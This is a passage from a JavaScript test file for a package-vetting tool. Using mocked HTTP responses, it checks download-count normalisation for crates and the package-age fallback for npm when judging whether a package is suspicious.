`FINDING-2: crates recent_downloads=5000 (≈389/wk) should yield low-downloads after 90d→weekly normalization. reasons: ${r.reasons}`
|
|
);
|
|
assert.equal(r.verdict, 'SUS', `expected SUS, got ${r.verdict}`);
|
|
} finally {
|
|
_setHttpGet(null);
|
|
}
|
|
});
|
|
|
|
test('FINDING-2 crates: recent_downloads=20000 (≈1556/wk) → NOT low-downloads', async () => {
|
|
// Math.round(20000 * 7 / 90) = 1556 >= 1000 → OK
|
|
const cratesPayload = JSON.stringify({
|
|
crate: {
|
|
name: 'good-dl-crate',
|
|
repository: 'https://github.com/x/y',
|
|
created_at: packageLevelOld,
|
|
recent_downloads: 20000, // ≈1556/week — above threshold
|
|
},
|
|
versions: [{ num: '1.0.0', created_at: packageLevelOld }],
|
|
});
|
|
const transport = async (_url, _timeoutMs) => ({ statusCode: 200, body: cratesPayload });
|
|
_setHttpGet(transport);
|
|
try {
|
|
const results = await checkPackages(
|
|
{ ecosystem: 'crates', packages: ['good-dl-crate'] },
|
|
{ clock: f2Clock, thresholds: { ...DEFAULT_THRESHOLDS, minWeeklyDownloads: 1000, requireRepo: false } }
|
|
);
|
|
assert.equal(results.length, 1);
|
|
const r = results[0];
|
|
assert.ok(
|
|
!r.reasons.includes('low-downloads'),
|
|
`FINDING-2: crates recent_downloads=20000 (≈1556/wk) should NOT yield low-downloads. reasons: ${r.reasons}`
|
|
);
|
|
} finally {
|
|
_setHttpGet(null);
|
|
}
|
|
});
|
|
|
|
test('npm: without version, falls back to package-level date (old → not too-new)', async () => {
|
|
const npmPayload = JSON.stringify({
|
|
'dist-tags': { latest: '1.0.0' },
|
|
versions: {
|
|
'1.0.0': { scripts: {}, repository: { url: 'https://github.com/x/y' } },
|
|
},
|
|
time: {
|
|
created: packageLevelOld,
|
|
'1.0.0': packageLevelOld,
|
|
modified: packageLevelOld,
|
|
},
|
|
});
|
|
let callCount = 0;
|
|
const transport = async (_url, _timeoutMs) => {
|
|
callCount++;
|
|
if (callCount === 1) return { statusCode: 200, body: npmPayload };
|
|
return { statusCode: 200, body: JSON.stringify({ downloads: 50000 }) };
|
|
};
|
|
_setHttpGet(transport);
|
|
try {
|
|
const results = await checkPackages(
|
|
{ ecosystem: 'npm', packages: ['old-pkg'] }, // no version
|
|
{ clock: f2Clock, thresholds: { ...DEFAULT_THRESHOLDS, minAgeDays: 30, requireRepo: false } }
|
|
);
|
|
const r = results[0];
|
|
assert.ok(
|
|
!r.reasons.includes('too-new'),
|
|
`Without version, old package should NOT be too-new. reasons: ${r.reasons}`
|
|
);
|
|
} finally {
|
|
_setHttpGet(null);
|
|
}
|
|
});
|
|
});
|